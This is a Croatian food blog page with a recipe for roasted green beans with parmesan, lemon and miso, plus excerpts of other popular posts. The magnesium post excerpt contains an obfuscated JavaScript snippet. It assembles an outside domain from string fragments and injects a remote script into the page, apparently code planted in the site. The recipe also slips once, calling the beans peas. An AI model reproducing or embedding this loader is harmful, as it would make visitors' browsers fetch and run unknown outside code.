ZELENE MAHUNE ZAPEČENE S PARMEZANOM




Zelene mahune zapečene s parmezanom 




Zelene mahune zapečene s parmezanom jednostavno su jelo za koje vam treba tek nekoliko sastojaka. Odličan su prilog ili lagano predjelo.




Zelene mahune zapečene s parmezanom 


Sastojci:

  • 1 veliki limun, polovica narezana na 5 kolutića debljine oko 5 mm, polovica za sok
  • 1 češanj češnjaka, sitno nasjeckan
  • 1 čajna žličica bijelemiso paste
  • 20 g sitno naribanog parmezana, plus još 2 žlice za posluživanje
  • 3 i 1/2 žlice maslinova ulja
  • 320 g zelenih mahuna
  • 10 g listića svježeg bosiljka
  • krupna morska sol
  • svježe mljeveni crni papar




Priprema:

  1. Zagrijte pećnicu na 220 stupnjeva.Kriške limuna rasporedite na lim obložen papirom za pečenje i pecite 8 do 10 minuta, okrećući ih na pola pečenja, dok lagano ne potamne i ne dobiju karamelizirane rubove. Ostavite ih nekoliko minuta da se ohlade, a zatim ih nasjeckajte na sitno.
  2. U većoj zdjeli pomiješajte nasjeckani pečeni limun, limunov sok, češnjak, bijeli miso, naribani parmezan, 3 žlice maslinova ulja, malo krupne morske soli i obilno popaprite. Dobro promiješajte kako biste dobili aromatičan preljev.
  3. Mahune pomiješajte s preostalim maslinovim uljem pa ih rasporedite u jednom sloju na lim za pečenje. Pecite 10 do 12 minuta, uz jedno okretanje tijekom pečenja, dok mahune mjestimice ne potamne i lagano se zapeku, ali i dalje ostanu hrskave.
  4. Vrući pečeni grašak odmah prebacite u zdjelu s preljevom i lagano promiješajte kako bi se mahune obložile svim aromama.
  5. Dodajte listiće bosiljka, još jednom nježno promiješajte i premjestite na tanjur za posluživanje. Pospite dodatnim parmezanom i završite s još malo svježe mljevenog crnog papra.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više